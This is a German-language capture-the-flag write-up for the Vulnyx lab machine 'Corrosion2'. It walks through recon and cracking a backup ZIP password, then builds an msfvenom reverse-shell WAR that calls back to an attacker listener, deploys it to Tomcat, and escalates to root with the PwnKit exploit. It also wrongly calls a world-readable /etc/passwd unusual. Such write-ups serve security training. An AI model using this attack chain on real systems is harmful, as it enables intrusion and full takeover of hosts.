Corrosion2 - Vulnyx - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
nikto
gobuster
curl
wget
zip2john
john
unzip
msfvenom
Metasploit
find
ls
grep
cat
cd

Inhaltsverzeichnis

Reconnaissance

In dieser Phase sammeln wir Informationen über das Zielsystem, um potenzielle Schwachstellen zu identifizieren.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.110 08:00:27:5c:fa:7e PCS Systemtechnik GmbH

`arp-scan -l` findet den Host mit der IP-Adresse 192.168.2.110 und der MAC-Adresse 08:00:27:5c:fa:7e. Der Hersteller der Netzwerkkarte ist PCS Systemtechnik GmbH.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.110 corrosion.hmv

Wir fügen den Hostnamen `corrosion.hmv` zur `/etc/hosts`-Datei hinzu, um ihn leichter ansprechen zu können.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.110
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.2.110
+ Target Hostname: 192.168.2.110
+ Target Port: 80
+ Start Time: 2023-06-20 23:39:11 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 5cc2a3672a871, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ 8102 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time: 2023-06-20 23:39:28 (GMT2) (17 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Nikto findet fehlende Clickjacking- und Content-Type-ptions-Header, das Leaking von Inodes über ETags und eine veraltete Apache-Version.

Empfehlung: Die fehlenden Header sollten gesetzt, ETags deaktiviert und die Apache-Version aktualisiert werden.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -sV -T5 -AO 192.168.2.110 -p- | grep open
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
8080/tcp open http Apache Tomcat 9.0.53

Nmap findet die offenen Ports 22 (SSH), 80 (HTTP) und 8080 (HTTP mit Apache Tomcat).

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -sV -T5 -AO 192.168.2.110 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-20 23:39 CEST
Nmap scan report for corrosion.hmv (192.168.2.110)
Host is up (0.00019s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6a:d8:44:60:80:39:7e:f0:2d:08:2f:e5:83:63:f0:70 (RSA)
| 256 f2:a6:62:d7:e7:6a:94:be:7b:6b:a5:12:69:2e:fe:d7 (ECDSA)
|_ 256 28:e1:0d:04:80:19:be:44:a6:48:73:aa:e8:6a:65:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open http Apache Tomcat 9.0.53
|_http-title: Apache Tomcat/9.0.53
|_http-favicon: Apache Tomcat
MAC Address: 08:00:27:5C:FA:7E (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.19 ms corrosion.hmv (192.168.2.110)

Dieser ausführlichere Nmap-Scan bestätigt die Dienste und ihre Versionen. Wir wissen jetzt, dass auf Port 80 eine Standard-Apache-Seite läuft, während auf Port 8080 Apache Tomcat läuft. Das Apache Tomcat könnte ein interessanter Angriffspunkt sein.

Web Enumeration

In dieser Phase untersuchen wir die Webanwendungen auf den Ports 80 und 8080.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://corrosion.hmv -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
---------------------------------------------------------------------------

http://corrosion.hmv/index.html (Status: 200) [Size: 10918]

Gobuster findet nur die `index.html` Seite auf Port 80.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://corrosion.hmv:8080 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error

Als nächstes verwenden wir Gobuster um den Apache Tomcat auf Port 8080 zu enumerieren.

http://corrosion.hmv:8080/ (Status: 200) [Size: 11003]
---------------------------------------------------------------------------
┌──(root㉿cyber)-[~]
└─# curl -s http://corrosion.hmv:8080/docs/ | grep Tomcat | grep author
Apache Tomcat 9 (9.0.53) - Documentation Index name="author" content="Craig R. McClanahan"> content="Remy Maucherat" meta name="author" content="Yoav Shapira"
Apache Tomcat 9 "versionInfo"

Der Befehl `curl` bestätigt, dass auf Port 8080 Apache Tomcat 9.0.53 läuft.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://corrosion.hmv:8080 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://corrosion.hmv:8080/docs (Status: 302) [Size: 0] [--> /docs/]
http://corrosion.hmv:8080/examples (Status: 302) [Size: 0] [--> /examples/]
http://corrosion.hmv:8080/backup.zip (Status: 200) [Size: 33723]
http://corrosion.hmv:8080/readme.txt (Status: 200) [Size: 153]
http://corrosion.hmv:8080/manager (Status: 302) [Size: 0] [--> /manager/]

Gobuster findet interessante Dateien und Verzeichnisse auf dem Tomcat-Server: `docs`, `examples`, `backup.zip`, `readme.txt` und `manager`. Die Datei `backup.zip` ist besonders interessant, da sie Konfigurationsdaten enthalten könnte. Das `manager`-Verzeichnis könnte eine Login-Seite für den Tomcat-Manager enthalten.

Initial Access

In dieser Phase versuchen wir, uns Zugriff auf das System zu verschaffen.

┌──(root㉿cyber)-[~]
└─# wget http://corrosion.hmv:8080/backup.zip
--2023-06-20 23:54:55-- http://corrosion.hmv:8080/backup.zip
Auflösen des Hostnamens corrosion.hmv (corrosion.hmv)… 192.168.2.110
Verbindungsaufbau zu corrosion.hmv (corrosion.hmv)|192.168.2.110|:8080 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 33723 (33K) [application/zip]
Wird in »backup.zip« gespeichert.

backup.zip 100%[=====================================>] 32,93K --.-KB/s in 0s

2023-06-20 23:54:55 (792 MB/s) - »backup.zip« gespeichert [33723/33723]

Wir laden die Datei `backup.zip` herunter.

┌──(root㉿cyber)-[~]
└─# zip2john backup.zip > hash
ver 2.0 efh 5455 efh 7875 backup.zip/catalina.policy PKZIP Encr: TS_chk, cmplen=2911, decmplen=13052, crc=AD0C6FDB ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/context.xml PKZIP Encr: TS_chk, cmplen=721, decmplen=1400, crc=59B9F4E7 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/catalina.properties PKZIP Encr: TS_chk, cmplen=2210, decmplen=7276, crc=1CD3C095 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/jaspic-providers.xml PKZIP Encr: TS_chk, cmplen=626, decmplen=1149, crc=748A87A6 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/jaspic-providers.xsd PKZIP Encr: TS_chk, cmplen=862, decmplen=2313, crc=3B44D150 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/logging.properties PKZIP Encr: TS_chk, cmplen=1076, decmplen=4144, crc=1D6C26F7 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/server.xml PKZIP Encr: TS_chk, cmplen=2609, decmplen=7589, crc=F91AC0C0 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/tomcat-users.xml PKZIP Encr: TS_chk, cmplen=1167, decmplen=2972, crc=BDCB08B9 ts=B0E3 cs=b0e3 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/tomcat-users.xsd PKZIP Encr: TS_chk, cmplen=858, decmplen=2558, crc=E8F588C2 ts=6920 cs=6920 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/web.xml PKZIP Encr: TS_chk, cmplen=18917, decmplen=172359, crc=B8AF6070 ts=6920 cs=6920 type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.

Wir verwenden `zip2john`, um die Hashes aus der `backup.zip`-Datei zu extrahieren und in die Datei `hash` zu speichern.

┌──(root㉿cyber)-[~]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
---------------------------------------------------------------------------
@administrator_hi5 (backup.zip)
---------------------------------------------------------------------------
1g 0:00:00:01 DONE (2023-06-20 23:58) 0.7518g/s 8647Kp/s 8647Kc/s 8647KC/s AJKAJK..9T*wwwww
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Wir verwenden `john` mit der `rockyou.txt`-Wordlist, um das Passwort der `backup.zip`-Datei zu knacken. Das Passwort lautet `@administrator_hi5`.

Wichtiger Erfolg! Das Knacken des Passworts von `backup.zip` ist ein wichtiger Schritt, da wir nun möglicherweise sensible Konfigurationsdaten extrahieren können.

┌──(root㉿cyber)-[~]
└─# unzip backup.zip
Archive: backup.zip
[backup.zip] catalina.policy password:
inflating: catalina.policy
inflating: context.xml
inflating: catalina.properties
inflating: jaspic-providers.xml
inflating: jaspic-providers.xsd
inflating: logging.properties
inflating: server.xml
inflating: tomcat-users.xml
inflating: tomcat-users.xsd
inflating: web.xml

Wir entpacken die `backup.zip`-Datei mit dem Passwort `@administrator_hi5`.

┌──(root㉿cyber)-[~]
└─# grep pass tomcat-users.xml


them. You will also need to set the passwords to something appropriate.




Wir suchen in der `tomcat-users.xml`-Datei nach Passwörtern. Wir finden den Benutzernamen `admin` mit dem Passwort `melehifokivai`.

admin:melehifokivai

Dies sind die Anmeldedaten für den Tomcat-Manager.

Proof of Concept: Tomcat Reverse Shell via Deploy

Nachdem wir die Anmeldedaten für den Tomcat-Manager gefunden haben, können wir eine Reverse Shell über die Deploy-Funktion hochladen.

┌──(root㉿cyber)-[~]
└─# msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.2.137 LPORT=8008 -f war -o revshell.war
Payload size: 1093 bytes
Final size of war file: 1093 bytes
Saved as: revshell.war

Wir verwenden `msfvenom`, um eine Reverse-Shell-WAR-Datei zu erstellen. Die WAR-Datei enthält den Payload, der beim Ausführen eine Verbindung zu unserem Listener auf 192.168.2.137:8008 herstellt.

Reverse Shell - Vorbereitung mit Metasploit

Als Nächstes richten wir Metasploit ein, um auf die eingehende Verbindung zu warten.

msf6 exploit(multi/handler) > set LHOST eth0
LHOST => 192.168.2.137
msf6 exploit(multi/handler) > set LPORT 8008
LPORT => 8008
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.137:8008
http://corrosion.hmv:8080/manager

Wir laden die Datei revshell.war über das web interface des Tomcat-Managers hoch, indem wir uns mit dem zuvor gefundenen Benutzernahmen und Passwort anmelden.

http://corrosion.hmv:8080/revshell/
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.137:8008
[*] Command shell session 1 opened (192.168.2.137:8008 -> 192.168.2.110:48616) at 2023-06-21 00:09:23 +0200

Fantastisch der Reverse Shell war erfolgreich!

id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

Wir sind jetzt als Benutzer `tomcat` auf dem System.

Reverse Shell Success
cd /var/www/html
ls -la
total 20
drwxr-xr-x 2 root root 4096 Sep 16 2021 .
drwxr-xr-x 3 root root 4096 Sep 16 2021 ..
-rw-r--r-- 1 root root 10918 Sep 16 2021 index.html
cd /opt
ls -la
total 12
drwxr-xr-x 3 root root 4096 Sep 16 2021 .
drwxr-xr-x 20 root root 4096 Sep 16 2021 ..
drwxr-Sr-- 10 tomcat tomcat 4096 Sep 17 2021 tomcat
cd tomcat
ls -la
total 160
drwxr-Sr-- 10 tomcat tomcat 4096 Sep 17 2021 .
drwxr-xr-x drwxr-xr-x 3 root root 4096 Sep 16 2021 ..
drwx--S--- 2 tomcat tomcat 4096 Sep 16 2021 bin
-rwx------ 1 tomcat tomcat 18970 Sep 6 2021 BUILDING.txt
drwx--S--- 3 tomcat tomcat 4096 Sep 16 2021 conf
-rwx------ 1 tomcat tomcat 6210 Sep 6 2021 CONTRIBUTING.md
drwx--S--- 2 tomcat tomcat 4096 Sep 16 2021 lib
-rwx------ 1 tomcat tomcat 57092 Sep 6 2021 LICENSE
drwx--S--- 3 tomcat tomcat 4096 Sep 16 2021 .local
drwx--S--- 2 tomcat tomcat 4096 Jun 20 2023 logs
-rwx------ 1 tomcat tomcat 2333 Sep 17 2021 NOTICE
-rwx------ 1 tomcat tomcat 3372 Sep 6 2021 README.md
-rwx------ 1 tomcat tomcat 6898 Sep 6 2021 RELEASE-NOTES
-rwx------ 1 tomcat tomcat 16507 Sep 17 2021 RUNNING.txt
drwx--S--- 2 tomcat tomcat 4096 Sep 16 2021 temp
drwx--S--- 8 tomcat tomcat 4096 Jun 20 16:09 webapps
drwx--S--- 3 tomcat tomcat 4096 Sep 16 2021 work
ls -la logs
total 1080468
drwx--S--- 2 tomcat tomcat 4096 Jun 20 2023 .
drwxr-Sr-- 10 tomcat tomcat 4096 Sep 17 2021 ..
-rw-r----- 1 tomcat tomcat 397400949 Jun 20 16:11 catalina.2023-06-20.log
-rwx------ 1 tomcat tomcat 419316113 Jun 20 16:11 catalina.out
-rw-r----- 1 tomcat tomcat 0 Jun 20 2023 host-manager.2023-06-20.log
-rw-r----- 1 tomcat tomcat 23151 Jun 20 16:11 localhost.2023-06-20.log
-rwx------ 1 tomcat tomcat 6730 Sep 16 2021 localhost_access_log.2021-09-16.txt
-rwx------ 1 tomcat tomcat 23684188 Sep 17 2021 localhost_access_log.2021-09-17.txt
-rw-r----- 1 tomcat tomcat 0 Sep 20 2021 localhost_access_log.2021-09-20.txt
-rw-r----- 1 tomcat tomcat 265927363 Jun 20 16:09 localhost_access_log.2023-06-20.txt
-rw-r----- 1 tomcat tomcat 672 Jun 20 16:09 manager.2023-06-20.log

Die `logs`-Ordner enthalten viele Log-Dateien. Log-Dateien sind ein guter ort um Passwörter, API-Keys, oder andere nützliche Information zu finden.

cat manager.2023-06-20.log
20-Jun-2023 15:59:54.236 INFO [http-nio-8080-exec-16] org.apache.catalina.core.ApplicationContext.log HTMLManager: init: Associated with Deployer 'Catalina:type=Deployer,host=localhost'
20-Jun-2023 15:59:54.236 INFO [http-nio-8080-exec-16] org.apache.catalina.core.ApplicationContext.log HTMLManager: init: Global resources are available
20-Jun-2023 15:59:54.246 INFO [http-nio-8080-exec-16] org.apache.catalina.core.ApplicationContext.log HTMLManager: list: Listing contexts for virtual host 'localhost'
20-Jun-2023 16:09:05.079 INFO [http-nio-8080-exec-10] org.apache.catalina.core.ApplicationContext.log HTMLManager: list: Listing contexts for virtual host 'localhost'

Privilege Escalation

In dieser Phase versuchen wir, unsere Privilegien auf Root zu erhöhen.

find / -type f -perm -4000 -ls 2>/dev/null
56 43 -rwsr-xr-x 1 root root 43088 Sep 16 2020 /snap/core18/2128/bin/mount
65 63 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /snap/core18/2128/bin/ping
81 44 -rwsr-xr-x 1 root root 44664 Mar 22 2019 /snap/core18/2128/bin/su
99 27 -rwsr-xr-x 1 root root 26696 Sep 16 2020 /snap/core18/2128/bin/umount
1710 75 -rwsr-xr-x 1 root root 76496 Mar 22 2019 /snap/core18/2128/usr/bin/chfn
1712 44 -rwsr-xr-x 1 root root 44528 Mar 22 2019 /snap/core18/2128/usr/bin/chsh
1765 75 -rwsr-xr-x 1 root root 75824 Mar 22 2019 /snap/core18/2128/usr/bin/gpasswd
1829 40 -rwsr-xr-x 1 root root 40344 Mar 22 2019 /snap/core18/2128/usr/bin/newgrp
1842 59 -rwsr-xr-x 1 root root 59640 Mar 22 2019 /snap/core18/2128/usr/bin/passwd
525493 164 -rwsr-xr-x 1 root root 166056 Jan 19 2021 /usr/bin/sudo
525108 56 -rwsr-xr-x 1 root root 55528 Jul 21 2020 /usr/bin/mount
525492 68 -rwsr-xr-x 1 root root 67816 Jul 21 2020 /usr/bin/su
525213 68 -rwsr-xr-x 1 root root 68208 Jul 14 2021 /usr/bin/passwd
524500 52 -rwsr-xr-x 1 root root 53040 Jul 14 2021 /usr/bin/chsh
525592 40 -rwsr-xr-x 1 root root 39144 Jul 21 2020 /usr/bin/umount
524494 84 -rwsr-xr-x 1 root root 85064 Jul 14 2021 /usr/bin/chfn
525143 44 -rwsr-xr-x 1 root root 44784 Jul 14 2021 /usr/bin/newgrp
524684 40 -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
524765 88 -rwsr-xr-x 1 root root 88464 Jul 14 2021 /usr/bin/gpasswd
552634 16 -rwsr-xr-x 1 root root 14728 Mar 17 2021 /usr/bin/vmware-user-suid-wrapper
525267 32 -rwsr-xr-x 1 root root 31032 May 26 2021 /usr/bin/pkexec
534651 388 -rwsr-xr-- 1 root dip 395144 Jul 23 2020 /usr/sbin/pppd
526512 52 -rwsr-xr-- 1 root messagebus 51344 Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
526830 16 -rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
532177 464 -rwsr-xr-x 1 root root 473576 Jul 23 2021 /usr/lib/openssh/ssh-keysign
534200 16 -rwsr-sr-x 1 root root 14488 Jul 6 2021 /usr/lib/xorg/Xorg.wrap
532385 128 -rwsr-xr-x 1 root root 130408 Mar 26 2021 /usr/lib/snapd/snap-confine
532193 24 -rwsr-xr-x 1 root

Wir suchen erneut nach SUID-Binaries, um die Privilegien auf dem System zu erhöhen.

ls -la /etc/passwd
-rw-r--r-- 1 root root 2928 Sep 17 2021 /etc/passwd

Wir überprüfen die Berechtigungen der `/etc/passwd`-Datei. Sie ist für alle lesbar, was ungewöhnlich ist. Dies könnte ein Hinweis auf eine potenzielle Schwachstelle sein.

search shell to meterpreter
use 58
set handler true
set lhost eth0
lhost => 192.168.2.137
set lport 4433
lport => 4433
set session 1
session => 1
run
sessions -i
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 shell sparc/bsd 192.168.2.137:8008 -> 192.168.2.110:48628 (192.168 .2.110)
set session 2
session => 2
run
[*] Upgrading session ID: 2
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.137:4433
[*] Sending stage (1017704 bytes) to 192.168.2.110
[*] Meterpreter session 3 opened (192.168.2.137:4433 -> 192.168.2.110:33160) at 2023-06-21 00:19:10 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed

Wir migrieren die Shell-Session zu einer Meterpreter-Session.

search suggester
use 0
set session 3
session => 3
set SHOWDESCRIPTION false
SHOWDESCRIPTION => false
run
[*] 192.168.2.110 - Collecting local exploits for x86/linux...
[*] 192.168.2.110 - 186 exploit checks are being tried...
[+] 192.168.2.110 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.
[+] 192.168.2.110 - exploit/linux/local/cve_2022_0847_dirtypipe: The target appears to be vulnerable. Linux kernel version found: 5.11.0
[+] 192.168.2.110 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.2.110 - exploit/linux/local/network_manager_vpnc_username_priv_esc: The service is running, but could not be validated.
[+] 192.168.2.110 - exploit/linux/local/pkexec: The service is running, but could not be validated.
[+] 192.168.2.110 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.2.110 - exploit/linux/local/sudoedit_bypass_priv_esc: The target appears to be vulnerable. Sudo 1.8.31.pre.1ubuntu1.2 is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module
[*] Running check method for exploit 58 / 58
[*] 192.168.2.110 - Valid modules for session 3:
============================

# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec Yes The target is vulnerable.
2 exploit/linux/local/cve_2022_0847_dirtypipe Yes The target appears to be vulnerable. Linux kernel version found: 5.11.0
3 exploit/linux/local/netfilter_priv_esc_ipv4 Yes The target appears to be vulnerable.
4 exploit/linux/local/network_manager_vpnc_username_priv_esc Yes The service is running, but could not be validated.
5 exploit/linux/local/pkexec Yes The service is running, but could not be validated.
6 exploit/linux/local/su_login Yes The target appears to be vulnerable.
7 exploit/linux/local/sudoedit_bypass_priv_esc Yes The target appears to be vulnerable. Sudo 1.8.31.pre.1ubuntu1.2 is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module
8 exploit/linux/local/abrt_raceabrt_priv_esc
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set WRITABLE_DIR /tmp
WRITABLE_DIR => /tmp
set LHOST 192.168.2.137
LHOST => 192.168.2.137
set LPORT 4445
LPORT => 4445
set session 3
session => 3
run
[*] Started reverse TCP handler on 192.168.2.137:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.vjmzbtgosz
[+] The target is vulnerable.
[*] Writing '/tmp/.whfdflaztlg/igmaqjlj/igmaqjlj.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.whfdflaztlg
[*] Sending stage (3045348 bytes) to 192.168.2.110
[+] Deleted /tmp/.whfdflaztlg/igmaqjlj/igmaqjlj.so
[+] Deleted /tmp/.whfdflaztlg/.osfvigmrdjq
[+] Deleted /tmp/.whfdflaztlg
[*] Meterpreter session 4 opened (192.168.2.137:4445 -> 192.168.2.110:59232) at 2023-06-21 00:27:43 +0200

Wir verwenden den `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`-Exploit, um unsere Privilegien auf Root zu erhöhen.

getuid
Server username: root

Wir sind jetzt als `root` angemeldet.

cd /root
ls -la
Listing: /root
==============

Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 5 fil 2021-09-21 04:20:30 +0200 .bash_history
100644/rw-r--r-- 3106 fil 2019-12-05 15:39:21 +0100 .bashrc
040700/rwx------ 4096 dir 2021-08-19 12:41:15 +0200 .cache
040755/rwxr-xr-x 4096 dir 2021-09-17 06:01:39 +0200 .local
100644/rw-r--r-- 161 fil 2019-12-05 15:39:21 +0100 .profile
100600/rw------- 0 fil 2021-09-18 05:51:41 +0200 .python_history
100644/rw-r--r-- 66 fil 2021-09-17 07:51:14 +0200 .selected_editor
100644/rw-r--r-- 181 fil 2021-09-18 05:48:44 +0200 .wget-hsts
100644/rw-r--r-- 33 fil 2021-09-17 11:08:07 +0200 root.txt
040755/rwxr-xr-x 4096 dir 2021-09-17 01:22:12 +0200 snap
cat root.txt
2fdbf8d4f894292361d6c72c8e833a4b
cd /home
cd randy/
ls -la
total 84
dr-xr-xr-x 15 randy randy 4096 Sep 20 2021 .
drwxr-xr-x 4 root root 4096 Sep 17 2021 ..
-rw-r--r-- 1 root root 0 Sep 17 2021 .bash_history
-rw-r--r-- 1 randy randy 220 Sep 16 2021 .bash_logout
-rw-r--r-- 1 randy randy 3771 Sep 16 2021 .bashrc
drwxr-xr-x 12 randy randy 4096 Sep 17 2021 .cache
drwx------ 10 randy randy 4096 Sep 16 2021 .config
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Desktop
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Documents
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Downloads
drwx------ 3 randy randy 4096 Sep 20 2021 .gnupg
drwxr-xr-x 3 randy randy 4096 Sep 16 2021 .local
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Music
-rw-r--r-- 1 root root 283 Sep 20 2021 note.txt
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Pictures
-rw-r--r-- 1 randy randy 807 Sep 16 2021 .profile
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Public
-rwxr-xr-x 1 root root 210 Sep 20 2021 randombase64.py
drwx------ 2 randy randy 4096 Sep 17 2021 .ssh
-rw-r--r-- 1 randy randy 0 Sep 16 2021 .sudo_as_admin_successful
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Templates
-rw-rw-r-- 1 randy randy 33 Sep 17 2021 user.txt
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Videos
cat .bash_history
cat user.txt
ca73a018ae6908a7d0ea5d1c269ba4b6

Wir lesen den Inhalt der Datei `user.txt` und erhalten die User-Flag: `ca73a018ae6908a7d0ea5d1c269ba4b6`.

Privilege Escalation erfolgreich

Flags

cat root.txt 2fdbf8d4f894292361d6c72c8e833a4b
cat user.txt ca73a018ae6908a7d0ea5d1c269ba4b6